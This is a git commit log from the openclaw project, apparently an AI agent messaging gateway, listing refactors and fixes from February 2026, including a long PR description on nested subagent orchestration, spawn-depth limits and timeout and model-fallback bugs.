2da512e24d refactor(agent): centralize fallback run helpers 2026-02-15 11:50:16 -05:00
Peter Steinberger
bf61d94083 refactor(cli): dedupe daemon install finalize 2026-02-15 16:49:38 +00:00
Peter Steinberger
08f16da8d7 refactor(config): dedupe bindings migrations 2026-02-15 16:47:06 +00:00
Peter Steinberger
fe303fc016 refactor(cli): reuse skill missing summary 2026-02-15 16:46:04 +00:00
Peter Steinberger
aa4d212a09 refactor(auto-reply): share cleared exec fields 2026-02-15 16:45:25 +00:00
Peter Steinberger
3783cd3850 refactor(plugins): share empty registry factory 2026-02-15 16:44:00 +00:00
Gustavo Madeira Santana
9adcccadb1 Outbound: scope core send media roots by agent (#17268)
Merged with gates skipped by maintainer request.

Prepared head SHA: 663ac49b3a
2026-02-15 11:43:02 -05:00
Peter Steinberger
b4f16001aa refactor(channels): dedupe discord channel lookup 2026-02-15 16:42:20 +00:00
Peter Steinberger
94eb50658d refactor(sessions): reuse session key classifier 2026-02-15 16:40:49 +00:00
Peter Steinberger
dda3026d13 refactor(line): dedupe schedule card header 2026-02-15 16:39:45 +00:00
Peter Steinberger
3a3bfa7f13 refactor(auto-reply): reuse exec directive clearer 2026-02-15 16:38:49 +00:00
Peter Steinberger
8da99247f1 refactor(routing): dedupe binding match parsing 2026-02-15 16:37:36 +00:00
Peter Steinberger
a767777598 refactor(skills): dedupe env overrides 2026-02-15 16:36:27 +00:00
Peter Steinberger
afa5444242 refactor(sandbox): dedupe sandbox list helpers 2026-02-15 16:35:37 +00:00
Peter Steinberger
5457f6e7e4 refactor(sandbox): dedupe prune loops 2026-02-15 16:33:57 +00:00
Peter Steinberger
d4476c6899 refactor(sandbox): dedupe session resolution 2026-02-15 16:32:51 +00:00
Peter Steinberger
d238483337 refactor(models): dedupe auth order context 2026-02-15 16:32:12 +00:00
Peter Steinberger
f4782e1e73 refactor(agents): dedupe session write lock release 2026-02-15 16:30:01 +00:00
Peter Steinberger
ac75cc3495 refactor(auto-reply): dedupe session touch 2026-02-15 16:27:14 +00:00
Peter Steinberger
c1bf99406f refactor(slack): dedupe onboarding token prompts 2026-02-15 16:26:11 +00:00
Peter Steinberger
910e1e52dd fix(models): type fallback key helper 2026-02-15 16:25:00 +00:00
Peter Steinberger
d4c7b0505f refactor(models): dedupe fallback key parsing 2026-02-15 16:25:00 +00:00
Shadow
9203a2fdb1 Discord: CV2! (#16364) 2026-02-15 10:24:53 -06:00
Peter Steinberger
95355ba25a refactor(agents): dedupe memory tool config 2026-02-15 16:22:59 +00:00
Peter Steinberger
e89c7b7735 refactor(infra): dedupe update checkout step 2026-02-15 16:22:06 +00:00
Peter Steinberger
6b65a055e6 refactor(telegram): dedupe media download 2026-02-15 16:22:06 +00:00
Garnet Liu
cc0bfa0f39 fix(telegram): restore thread_id=1 handling for DMs (regression from 19b8416a8) (openclaw#10942) thanks @garnetlyx
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm test:macmini

Co-authored-by: garnetlyx <12513503+garnetlyx@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-15 10:21:18 -06:00
Peter Steinberger
1843bcf1db refactor(gateway): share host header parsing 2026-02-15 16:15:53 +00:00
Peter Steinberger
933a9945ae refactor(telegram): dedupe group auth checks 2026-02-15 16:12:36 +00:00
Peter Steinberger
234d69f83f refactor(browser): dedupe request record lookup 2026-02-15 16:11:28 +00:00
Peter Steinberger
77db65d669 refactor(hooks): dedupe gmail option types 2026-02-15 16:10:17 +00:00
Peter Steinberger
c3340a3894 refactor(outbound): dedupe delivery mirror type 2026-02-15 16:09:21 +00:00
Peter Steinberger
41d053a06f refactor(discord): dedupe application fetch 2026-02-15 16:08:05 +00:00
Peter Steinberger
47462eed68 refactor(infra): share login shell env exec 2026-02-15 16:06:39 +00:00
Peter Steinberger
e7f65b4aac refactor(infra): dedupe exec allowlist analysis failure 2026-02-15 16:05:49 +00:00
Peter Steinberger
7323953ab0 refactor(gateway): share device signature reject path 2026-02-15 16:04:37 +00:00
Peter Steinberger
cd225c15be refactor(gateway): dedupe wizard status schema 2026-02-15 16:03:10 +00:00
Peter Steinberger
afc333cc5b refactor(slack): dedupe event system-event emit 2026-02-15 16:01:20 +00:00
Peter Steinberger
30eacd36af refactor(test): dedupe slack slash mocks 2026-02-15 15:57:33 +00:00
Mr. Guy
e927fd1e35 fix: allow agent workspace directories in media local roots (#17136)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7545ef1e19
Co-authored-by: MisterGuy420 <255743668+MisterGuy420@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-15 10:53:45 -05:00
Peter Steinberger
0c57f5e62e refactor(test): share google assistant message builders 2026-02-15 15:50:24 +00:00
Peter Steinberger
c6c6e9f741 refactor(test): share sandbox fs bridge builder 2026-02-15 15:47:55 +00:00
Rodrigo Uroz
df95ddc771 Fix/agent session key normalization (openclaw#15707) thanks @rodrigouroz
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-15 09:46:14 -06:00
Peter Steinberger
75d22b2164 refactor(test): dedupe cron legacy job setup 2026-02-15 15:46:00 +00:00
Peter Steinberger
e687ad15ac refactor(test): share server chat event harness 2026-02-15 15:44:14 +00:00
Peter Steinberger
e683353cab refactor(test): share corrupt session fixture 2026-02-15 15:42:23 +00:00
Peter Steinberger
2b143de554 refactor(test): dedupe ghost reminder assertions 2026-02-15 15:40:43 +00:00
Peter Steinberger
d979c6c089 refactor(test): simplify heartbeat model override tests 2026-02-15 15:36:58 +00:00
Peter Steinberger
ee331e8d55 refactor(test): share heartbeat sandbox 2026-02-15 15:35:24 +00:00
Marcus Widing
ade11ec892 fix(announce): use deterministic idempotency keys to prevent duplicate subagent announces (#17150)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 54bba3cea1
Co-authored-by: widingmarcus-cyber <245375637+widingmarcus-cyber@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-15 10:34:34 -05:00
Peter Steinberger
7ea14a1c87 refactor(test): share status transcript log writer 2026-02-15 15:32:29 +00:00
Sk Akram
1911942363 fix: make sensitive field whitelist case-insensitive (#16148)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: bb2d219e1f
Co-authored-by: akramcodez <179671552+akramcodez@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-15 10:31:48 -05:00
Rodrigo Uroz
6565ec2e53 gateway: return actionable error for send channel webchat (openclaw#15703) thanks @rodrigouroz
Verified:
- pnpm build
- pnpm check (fails on current main with unrelated type errors in src/memory/embedding-manager.test-harness.ts)
- pnpm test:macmini (not run after pnpm check failure)
- pnpm test -- src/gateway/server-methods/send.test.ts

Co-authored-by: rodrigouroz <165576107+rodrigouroz@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-15 09:31:11 -06:00
Peter Steinberger
3d38e56401 refactor(test): dedupe hook transform skip assertions 2026-02-15 15:30:37 +00:00
Gustavo Madeira Santana
2e64cbd1b8 chore(memory): tighten embedding harness types 2026-02-15 10:30:19 -05:00
Gustavo Madeira Santana
88caa4b50c chore(cron): simplify enabled checks for lint 2026-02-15 10:30:19 -05:00
Peter Steinberger
fa4c282f9e refactor(test): dedupe models list provider filter cases 2026-02-15 15:29:00 +00:00
Peter Steinberger
88cac5985e refactor(test): dedupe update runner stable command mocks 2026-02-15 15:27:47 +00:00
Peter Steinberger
0f4036b0f6 refactor(test): share line auto-reply deps 2026-02-15 15:26:17 +00:00
misterdas
c211fd112c fix(subagents): add model fallback support to sessions_spawn tool (#17197)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 5d20c2cd37
Co-authored-by: misterdas <170702047+misterdas@users.noreply.github.com>
Co-authored-by: sebslight <19554889+sebslight@users.noreply.github.com>
Reviewed-by: @sebslight
2026-02-15 10:25:47 -05:00
Peter Steinberger
75f3b5069b refactor(test): dedupe telegram bot mention scaffolding 2026-02-15 15:24:40 +00:00
Peter Steinberger
831fb0aea3 refactor(test): dedupe model directive persist setup 2026-02-15 15:22:50 +00:00
Peter Steinberger
7ecc105c3d refactor(test): dedupe monitor inbox quoted reply checks 2026-02-15 15:20:31 +00:00
Peter Steinberger
4f8a2ed2ce refactor(test): dedupe telegram dispatch scaffolding 2026-02-15 15:19:10 +00:00
Peter Steinberger
53ffc309f3 refactor(test): simplify onboarding wizard scaffolding 2026-02-15 15:16:55 +00:00
Peter Steinberger
3e7800befb refactor(test): dedupe onboarding gateway prompter 2026-02-15 15:15:19 +00:00
Peter Steinberger
e2f73650d4 refactor(test): share signal receive harness 2026-02-15 15:14:34 +00:00
Rodrigo Uroz
89dccc79a7 cron: infer payload kind for model-only update patches (openclaw#15664) thanks @rodrigouroz
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check (fails on current origin/main in src/memory/embedding-manager.test-harness.ts; unchanged by this PR)

Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-15 09:12:51 -06:00
Peter Steinberger
3c97ec70d1 refactor(test): dedupe followup queue test setup 2026-02-15 15:11:34 +00:00
Peter Steinberger
beffb6fe48 refactor(test): dedupe session-memory hook setup 2026-02-15 15:09:26 +00:00
Peter Steinberger
71c1d09f22 refactor(test): share memory embedding fixture 2026-02-15 15:07:09 +00:00
Peter Steinberger
fe27215747 refactor(test): share web broadcast-groups harness 2026-02-15 15:03:47 +00:00
Ayaan Zaidi
86df160617 fix: telegram stream preview finalizes in place (#17218) (thanks @obviyus) 2026-02-15 20:32:51 +05:30
Ayaan Zaidi
a69e82765f fix(telegram): stream replies in-place without duplicate final sends 2026-02-15 20:32:51 +05:30
Peter Steinberger
8b2a5672be refactor(test): reuse command test harness 2026-02-15 15:01:00 +00:00
Peter Steinberger
d3d82a1c19 refactor(test): share google-shared test helpers 2026-02-15 14:57:15 +00:00
Gustavo Madeira Santana
bd9d35c720 chore: remove defensive logic 2026-02-15 09:54:04 -05:00
Peter Steinberger
723e314e2b fix(ci): avoid vitest TDZ in shared mocks 2026-02-15 14:52:41 +00:00
Alejandro Santander
9a344da298 fix(cron): treat missing enabled as true in update() (openclaw#15477) thanks @eternauta1337
Verified:
- pnpm exec vitest src/cron/service.issue-regressions.test.ts

Co-authored-by: eternauta1337 <550409+eternauta1337@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-15 08:52:02 -06:00
Peter Steinberger
a7b6555195 refactor(test): share memory embedding mocks 2026-02-15 14:48:23 +00:00
Peter Steinberger
e2c68cb169 refactor(test): share plugin hook registry helper 2026-02-15 14:44:15 +00:00
Peter Steinberger
6ec76af3a6 refactor(test): share slack slash mocks 2026-02-15 14:41:45 +00:00
Peter Steinberger
dd11a6bcda refactor(test): share sessions_spawn e2e harness 2026-02-15 14:38:43 +00:00
Peter Steinberger
893d2fb862 refactor(test): share audio provider ssrf hooks 2026-02-15 14:33:30 +00:00
Peter Steinberger
85b267aae9 refactor(agents): dedupe exec spawn and process failures 2026-02-15 14:28:55 +00:00
Peter Steinberger
34b6c743f5 refactor(shared): share requirements eval for remote context 2026-02-15 14:26:10 +00:00
Peter Steinberger
33a3a56ee1 refactor(auto-reply): share agent-runner test harness mocks 2026-02-15 14:24:06 +00:00
Peter Steinberger
af34c8fafe refactor(onboard): share local workspace+gateway config 2026-02-15 14:21:28 +00:00
Peter Steinberger
1a758135d8 refactor(cli): share configure section runner 2026-02-15 14:20:06 +00:00
Peter Steinberger
a58088383b refactor(config): dedupe irc schema refinements 2026-02-15 14:18:06 +00:00
Peter Steinberger
b060afd3a5 refactor(cli): dedupe directory table rendering 2026-02-15 14:17:07 +00:00
Peter Steinberger
d458131821 refactor(cli): dedupe approvals allowlist actions 2026-02-15 14:14:39 +00:00
Peter Steinberger
0f86ee531b refactor(agents): dedupe sentence break scanning 2026-02-15 14:12:25 +00:00
Peter Steinberger
0c29ffac09 refactor(agents): dedupe forward-compat template clone 2026-02-15 14:09:57 +00:00
Peter Steinberger
ebf44f5096 refactor(auto-reply): dedupe on/off/full normalization 2026-02-15 14:07:28 +00:00
Peter Steinberger
7b39aa3444 refactor(auto-reply): reuse inline directive clearer 2026-02-15 14:05:47 +00:00
Peter Steinberger
384a886b70 refactor(cli): share commander reparse helper 2026-02-15 14:02:18 +00:00
Peter Steinberger
42b0d6f43e refactor(agents): share workspace dir enumeration 2026-02-15 13:59:46 +00:00
大猫子
0931a35709 fix(sessions): guard withSessionStoreLock against undefined storePath (#14717) (openclaw#14755) thanks @lailoo
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: lailoo <20536249+lailoo@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-15 07:57:51 -06:00
Peter Steinberger
3d0e568007 refactor(infra): share jsonl socket requester 2026-02-15 13:56:50 +00:00
Peter Steinberger
7d0c0bfc7c refactor(media): share outbound attachment resolver 2026-02-15 13:53:22 +00:00
Peter Steinberger
abb4b7c91c refactor(line): share messaging client setup 2026-02-15 13:49:37 +00:00
Peter Steinberger
26a831e2c3 refactor(commands): dedupe auth choice agent model notes 2026-02-15 13:46:13 +00:00
Peter Steinberger
9d7113c74c refactor(channels): share allowlist config patch helper 2026-02-15 13:44:00 +00:00
Tak Hoffman
df7fff8fd7 test: add serial macmini test profile 2026-02-15 07:40:55 -06:00
Peter Steinberger
c1cc28a4e1 refactor(gateway): share broadcast function types 2026-02-15 13:39:59 +00:00
Peter Steinberger
0d47bea3bf refactor(memory): dedupe embedding batch runner options 2026-02-15 13:37:42 +00:00
Peter Steinberger
18342b0a5b refactor(node-host): dedupe exec finished event emission 2026-02-15 13:35:37 +00:00
Peter Steinberger
80e5aebf6a refactor(tts): dedupe provider error formatting 2026-02-15 13:32:35 +00:00
Peter Steinberger
9f9978635c refactor(gateway): share rpc attachment normalization 2026-02-15 13:30:42 +00:00
Tak Hoffman
abf36ddd5f doc: Remove agent submission policy 2026-02-15 07:29:31 -06:00
Peter Steinberger
ab6f080d80 refactor(commands): share provider config merge wrapper 2026-02-15 13:27:37 +00:00
Peter Steinberger
9e2233da7f refactor(gateway): dedupe json endpoint prelude 2026-02-15 13:24:37 +00:00
Peter Steinberger
052d988add test(auto-reply): move inbound provider contract test into unit suite 2026-02-15 13:21:27 +00:00
Peter Steinberger
26b3859b18 refactor(infra): dedupe provider api key resolution 2026-02-15 13:18:41 +00:00
Peter Steinberger
360b73bbb8 refactor(discord): dedupe onboarding config patching 2026-02-15 13:14:50 +00:00
Peter Steinberger
2944c7d6af refactor(slack): dedupe onboarding config patching 2026-02-15 13:13:21 +00:00
Peter Steinberger
d80ccdb9e0 refactor(plugin-sdk): dedupe file lock release 2026-02-15 13:11:25 +00:00
Peter Steinberger
d7079b5578 refactor(security): share sandbox tool policy picker 2026-02-15 13:10:07 +00:00
Peter Steinberger
428b6e0dee refactor(web): share creds json reader 2026-02-15 13:07:44 +00:00
Peter Steinberger
8a4f9f168b refactor(agents): share sandboxed session tool context 2026-02-15 13:06:19 +00:00
Peter Steinberger
b838429e2f refactor(status): share emoji/homepage resolver 2026-02-15 13:01:39 +00:00
Peter Steinberger
b9cbe71faa refactor(agents): dedupe gateway config write params 2026-02-15 12:59:47 +00:00
Peter Steinberger
5c7869ae6c refactor(daemon-cli): dedupe not-loaded hints 2026-02-15 12:57:51 +00:00
Peter Steinberger
fa472623f6 perf(test): use prebuilt hook install fixtures 2026-02-15 12:56:38 +00:00
Peter Steinberger
37aaca0d4e refactor(discord): share component DM auth context 2026-02-15 12:56:06 +00:00
Peter Steinberger
fcd2eca9c7 refactor(commands): share provider catalog config helper 2026-02-15 12:54:09 +00:00
Peter Steinberger
108ea4336b refactor(daemon): share quoted arg splitter 2026-02-15 12:49:30 +00:00
Peter Steinberger
216f4d4669 refactor(line): dedupe schedule card header + bubble 2026-02-15 12:47:03 +00:00
yinghaosang
80abb5ab98 fix(telegram): stop dropping voice messages on getFile network errors (#16136) (#16154)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: fbcd7849e4
Co-authored-by: yinghaosang <261132136+yinghaosang@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-15 14:50:55 +05:30
Ayaan Zaidi
2fc479b427 fix: apply telegram voice transcript body substitution (#16789) (thanks @Limitless2023) (#16970) 2026-02-15 14:22:49 +05:30
Limitless
b65b3c6ff0 fix(telegram): include voice transcript in body text instead of raw audio (#16789)
- Move hasAudio detection before bodyText building
- Move preflight transcription before bodyText building
- If audio has transcript, use transcript as bodyText
- Otherwise use <media:audio> placeholder

Fixes #16772: Telegram voice messages leak raw audio binary into chat context

Co-authored-by: Limitless2023 <limitless@users.noreply.github.com>
2026-02-15 14:19:10 +05:30
vignesh07
229376fbed test: stabilize respawn + subagent usage assertions 2026-02-14 23:23:14 -08:00
vignesh07
d306d598ce fix(agents): don't force store=true for codex responses 2026-02-14 23:23:14 -08:00
Peter Steinberger
cbd9395082 ci(protocol): regenerate swift protocol models 2026-02-15 07:07:55 +00:00
Peter Steinberger
dec28e5384 refactor(subagents): share token usage formatting 2026-02-15 07:06:54 +00:00
Peter Steinberger
46392e033c refactor(browser): dedupe role snapshot parsing 2026-02-15 07:06:50 +00:00
Peter Steinberger
cb2f978ed5 refactor(agents): share model alias line builder 2026-02-15 07:01:29 +00:00
Peter Steinberger
913b137090 refactor(discord): dedupe reaction listener params 2026-02-15 07:01:24 +00:00
Peter Steinberger
6e1b3ace4d refactor(config): dedupe WhatsApp group + ack types 2026-02-15 07:01:18 +00:00
Peter Steinberger
2c1a4ddabc refactor(auto-reply): dedupe inline action command handling 2026-02-15 07:01:14 +00:00
Peter Steinberger
eb79785b36 refactor(line): share channel access token resolver 2026-02-15 07:01:05 +00:00
Peter Steinberger
aa2d74a843 refactor(commands): dedupe OpenAI default model apply 2026-02-15 06:52:58 +00:00
Peter Steinberger
ceacc2675d refactor(auto-reply): dedupe command arg formatting 2026-02-15 06:51:29 +00:00
Peter Steinberger
a39a5a35b0 refactor(slack): dedupe outbound hook handling 2026-02-15 06:49:48 +00:00
Peter Steinberger
57d0130336 refactor(auto-reply): dedupe session usage patch updates 2026-02-15 06:47:56 +00:00
Peter Steinberger
600260ebf8 refactor(gateway): dedupe web login provider checks 2026-02-15 06:46:28 +00:00
Peter Steinberger
261e2c131e refactor(commands): dedupe model scan sorting 2026-02-15 06:44:34 +00:00
Peter Steinberger
ebb54d71ef refactor(memory): share batch create retry 2026-02-15 06:43:20 +00:00
Peter Steinberger
99da4c8d56 refactor(commands): dedupe moonshot non-interactive auth 2026-02-15 06:41:22 +00:00
Peter Steinberger
6c7a7d910a refactor(gateway): dedupe probe auth resolution 2026-02-15 06:40:04 +00:00
Peter Steinberger
4950fcfb33 refactor(gateway): share IPv4 input validator 2026-02-15 06:37:41 +00:00
Peter Steinberger
cc2a63cd2d refactor(config): dedupe exec/fs zod schemas 2026-02-15 06:35:34 +00:00
Peter Steinberger
6217561931 refactor(commands): dedupe provider config + default model helpers 2026-02-15 06:33:37 +00:00
Peter Steinberger
2bd672f3ab refactor(discord): dedupe component context + reaction timing 2026-02-15 06:27:16 +00:00
Peter Steinberger
6491182a79 refactor(cli): dedupe browser download command 2026-02-15 06:22:42 +00:00
Peter Steinberger
a4bf619522 refactor(agents): share toolResult details stripping 2026-02-15 06:21:13 +00:00
Peter Steinberger
55b7100ab9 refactor(commands): dedupe workspace config prompt 2026-02-15 06:19:12 +00:00
Peter Steinberger
26bf041add refactor(agents): dedupe subagent announce flow 2026-02-15 06:17:40 +00:00
Peter Steinberger
bdc3e447e9 refactor(subagents): share formatting helpers 2026-02-15 06:15:30 +00:00
Peter Steinberger
2c5e24cbb5 refactor(gateway): dedupe session usage file resolution 2026-02-15 06:11:53 +00:00
Peter Steinberger
7793f2efd5 refactor(pairing): dedupe allow-from store updates 2026-02-15 06:10:13 +00:00
Peter Steinberger
ed03b834d5 refactor(agents): dedupe model fallback candidate logic 2026-02-15 06:07:01 +00:00
Peter Steinberger
adee048247 refactor(commands): dedupe moonshot api key prompt 2026-02-15 06:04:47 +00:00
Tyler Yust
b8f66c260d Agents: add nested subagent orchestration controls and reduce subagent token waste (#14447)
* Agents: add subagent orchestration controls

* Agents: add subagent orchestration controls (WIP uncommitted changes)

* feat(subagents): add depth-based spawn gating for sub-sub-agents

* feat(subagents): tool policy, registry, and announce chain for nested agents

* feat(subagents): system prompt, docs, changelog for nested sub-agents

* fix(subagents): prevent model fallback override, show model during active runs, and block context overflow fallback

Bug 1: When a session has an explicit model override (e.g., gpt/openai-codex),
the fallback candidate logic in resolveFallbackCandidates silently appended the
global primary model (opus) as a backstop. On reinjection/steer with a transient
error, the session could fall back to opus which has a smaller context window
and crash. Fix: when storedModelOverride is set, pass fallbacksOverride ?? []
instead of undefined, preventing the implicit primary backstop.

Bug 2: Active subagents showed 'model n/a' in /subagents list because
resolveModelDisplay only read entry.model/modelProvider (populated after run
completes). Fix: fall back to modelOverride/providerOverride fields which are
populated at spawn time via sessions.patch.

Bug 3: Context overflow errors (prompt too long, context_length_exceeded) could
theoretically escape runEmbeddedPiAgent and be treated as failover candidates
in runWithModelFallback, causing a switch to a model with a smaller context
window. Fix: in runWithModelFallback, detect context overflow errors via
isLikelyContextOverflowError and rethrow them immediately instead of trying the
next model candidate.

* fix(subagents): track spawn depth in session store and fix announce routing for nested agents

* Fix compaction status tracking and dedupe overflow compaction triggers

* fix(subagents): enforce depth block via session store and implement cascade kill

* fix: inject group chat context into system prompt

* fix(subagents): always write model to session store at spawn time

* Preserve spawnDepth when agent handler rewrites session entry

* fix(subagents): suppress announce on steer-restart

* fix(subagents): fallback spawned session model to runtime default

* fix(subagents): enforce spawn depth when caller key resolves by sessionId

* feat(subagents): implement active-first ordering for numeric targets and enhance task display

- Added a test to verify that subagents with numeric targets follow an active-first list ordering.
- Updated `resolveSubagentTarget` to sort subagent runs based on active status and recent activity.
- Enhanced task display in command responses to prevent truncation of long task descriptions.
- Introduced new utility functions for compacting task text and managing subagent run states.

* fix(subagents): show model for active runs via run record fallback

When the spawned model matches the agent's default model, the session
store's override fields are intentionally cleared (isDefault: true).
The model/modelProvider fields are only populated after the run
completes. This left active subagents showing 'model n/a'.

Fix: store the resolved model on SubagentRunRecord at registration
time, and use it as a fallback in both display paths (subagents tool
and /subagents command) when the session store entry has no model info.

Changes:
- SubagentRunRecord: add optional model field
- registerSubagentRun: accept and persist model param
- sessions-spawn-tool: pass resolvedModel to registerSubagentRun
- subagents-tool: pass run record model as fallback to resolveModelDisplay
- commands-subagents: pass run record model as fallback to resolveModelDisplay

* feat(chat): implement session key resolution and reset on sidebar navigation

- Added functions to resolve the main session key and reset chat state when switching sessions from the sidebar.
- Updated the `renderTab` function to handle session key changes when navigating to the chat tab.
- Introduced a test to verify that the session resets to "main" when opening chat from the sidebar navigation.

* fix: subagent timeout=0 passthrough and fallback prompt duplication

Bug 1: runTimeoutSeconds=0 now means 'no timeout' instead of applying 600s default
- sessions-spawn-tool: default to undefined (not 0) when neither timeout param
  is provided; use != null check so explicit 0 passes through to gateway
- agent.ts: accept 0 as valid timeout (resolveAgentTimeoutMs already handles
  0 → MAX_SAFE_TIMEOUT_MS)

Bug 2: model fallback no longer re-injects the original prompt as a duplicate
- agent.ts: track fallback attempt index; on retries use a short continuation
  message instead of the full original prompt since the session file already
  contains it from the first attempt
- Also skip re-sending images on fallback retries (already in session)

* feat(subagents): truncate long task descriptions in subagents command output

- Introduced a new utility function to format task previews, limiting their length to improve readability.
- Updated the command handler to use the new formatting function, ensuring task descriptions are truncated appropriately.
- Adjusted related tests to verify that long task descriptions are now truncated in the output.

* refactor(subagents): update subagent registry path resolution and improve command output formatting

- Replaced direct import of STATE_DIR with a utility function to resolve the state directory dynamically.
- Enhanced the formatting of command output for active and recent subagents, adding separators for better readability.
- Updated related tests to reflect changes in command output structure.

* fix(subagent): default sessions_spawn to no timeout when runTimeoutSeconds omitted

The previous fix (75a791106) correctly handled the case where
runTimeoutSeconds was explicitly set to 0 ("no timeout"). However,
when models omit the parameter entirely (which is common since the
schema marks it as optional), runTimeoutSeconds resolved to undefined.

undefined flowed through the chain as:
  sessions_spawn → timeout: undefined (since undefined != null is false)
  → gateway agent handler → agentCommand opts.timeout: undefined
  → resolveAgentTimeoutMs({ overrideSeconds: undefined })
  → DEFAULT_AGENT_TIMEOUT_SECONDS (600s = 10 minutes)

This caused subagents to be killed at exactly 10 minutes even though
the user's intent (via TOOLS.md) was for subagents to run without a
timeout.

Fix: default runTimeoutSeconds to 0 (no timeout) when neither
runTimeoutSeconds nor timeoutSeconds is provided by the caller.
Subagent spawns are long-running by design and should not inherit the
600s agent-command default timeout.

* fix(subagent): accept timeout=0 in agent-via-gateway path (second 600s default)

* fix: thread timeout override through getReplyFromConfig dispatch path

getReplyFromConfig called resolveAgentTimeoutMs({ cfg }) with no override,
always falling back to the config default (600s). Add timeoutOverrideSeconds
to GetReplyOptions and pass it through as overrideSeconds so callers of the
dispatch chain can specify a custom timeout (0 = no timeout).

This complements the existing timeout threading in agentCommand and the
cron isolated-agent runner, which already pass overrideSeconds correctly.

* feat(model-fallback): normalize OpenAI Codex model references and enhance fallback handling

- Added normalization for OpenAI Codex model references, specifically converting "gpt-5.3-codex" to "openai-codex" before execution.
- Updated the `resolveFallbackCandidates` function to utilize the new normalization logic.
- Enhanced tests to verify the correct behavior of model normalization and fallback mechanisms.
- Introduced a new test case to ensure that the normalization process works as expected for various input formats.

* feat(tests): add unit tests for steer failure behavior in openclaw-tools

- Introduced a new test file to validate the behavior of subagents when steer replacement dispatch fails.
- Implemented tests to ensure that the announce behavior is restored correctly and that the suppression reason is cleared as expected.
- Enhanced the subagent registry with a new function to clear steer restart suppression.
- Updated related components to support the new test scenarios.

* fix(subagents): replace stop command with kill in slash commands and documentation

- Updated the `/subagents` command to replace `stop` with `kill` for consistency in controlling sub-agent runs.
- Modified related documentation to reflect the change in command usage.
- Removed legacy timeoutSeconds references from the sessions-spawn-tool schema and tests to streamline timeout handling.
- Enhanced tests to ensure correct behavior of the updated commands and their interactions.

* feat(tests): add unit tests for readLatestAssistantReply function

- Introduced a new test file for the `readLatestAssistantReply` function to validate its behavior with various message scenarios.
- Implemented tests to ensure the function correctly retrieves the latest assistant message and handles cases where the latest message has no text.
- Mocked the gateway call to simulate different message histories for comprehensive testing.

* feat(tests): enhance subagent kill-all cascade tests and announce formatting

- Added a new test to verify that the `kill-all` command cascades through ended parents to active descendants in subagents.
- Updated the subagent announce formatting tests to reflect changes in message structure, including the replacement of "Findings:" with "Result:" and the addition of new expectations for message content.
- Improved the handling of long findings and stats in the announce formatting logic to ensure concise output.
- Refactored related functions to enhance clarity and maintainability in the subagent registry and tools.

* refactor(subagent): update announce formatting and remove unused constants

- Modified the subagent announce formatting to replace "Findings:" with "Result:" and adjusted related expectations in tests.
- Removed constants for maximum announce findings characters and summary words, simplifying the announcement logic.
- Updated the handling of findings to retain full content instead of truncating, ensuring more informative outputs.
- Cleaned up unused imports in the commands-subagents file to enhance code clarity.

* feat(tests): enhance billing error handling in user-facing text

- Added tests to ensure that normal text mentioning billing plans is not rewritten, preserving user context.
- Updated the `isBillingErrorMessage` and `sanitizeUserFacingText` functions to improve handling of billing-related messages.
- Introduced new test cases for various scenarios involving billing messages to ensure accurate processing and output.
- Enhanced the subagent announce flow to correctly manage active descendant runs, preventing premature announcements.

* feat(subagent): enhance workflow guidance and auto-announcement clarity

- Added a new guideline in the subagent system prompt to emphasize trust in push-based completion, discouraging busy polling for status updates.
- Updated documentation to clarify that sub-agents will automatically announce their results, improving user understanding of the workflow.
- Enhanced tests to verify the new guidance on avoiding polling loops and to ensure the accuracy of the updated prompts.

* fix(cron): avoid announcing interim subagent spawn acks

* chore: clean post-rebase imports

* fix(cron): fall back to child replies when parent stays interim

* fix(subagents): make active-run guidance advisory

* fix(subagents): update announce flow to handle active descendants and enhance test coverage

- Modified the announce flow to defer announcements when active descendant runs are present, ensuring accurate status reporting.
- Updated tests to verify the new behavior, including scenarios where no fallback requester is available and ensuring proper handling of finished subagents.
- Enhanced the announce formatting to include an `expectFinal` flag for better clarity in the announcement process.

* fix(subagents): enhance announce flow and formatting for user updates

- Updated the announce flow to provide clearer instructions for user updates based on active subagent runs and requester context.
- Refactored the announcement logic to improve clarity and ensure internal context remains private.
- Enhanced tests to verify the new message expectations and formatting, including updated prompts for user-facing updates.
- Introduced a new function to build reply instructions based on session context, improving the overall announcement process.

* fix: resolve prep blockers and changelog placement (#14447) (thanks @tyler6204)

* fix: restore cron delivery-plan import after rebase (#14447) (thanks @tyler6204)

* fix: resolve test failures from rebase conflicts (#14447) (thanks @tyler6204)

* fix: apply formatting after rebase (#14447) (thanks @tyler6204)
2026-02-14 22:03:45 -08:00
Peter Steinberger
c46f395bb9 refactor(gateway): dedupe config raw validation 2026-02-15 06:02:50 +00:00
Peter Steinberger
628c7b2398 refactor(slack): dedupe allowlist match selection 2026-02-15 05:57:11 +00:00
Peter Steinberger
806c8b3129 refactor(agents): share turn validation skeleton 2026-02-15 05:55:36 +00:00
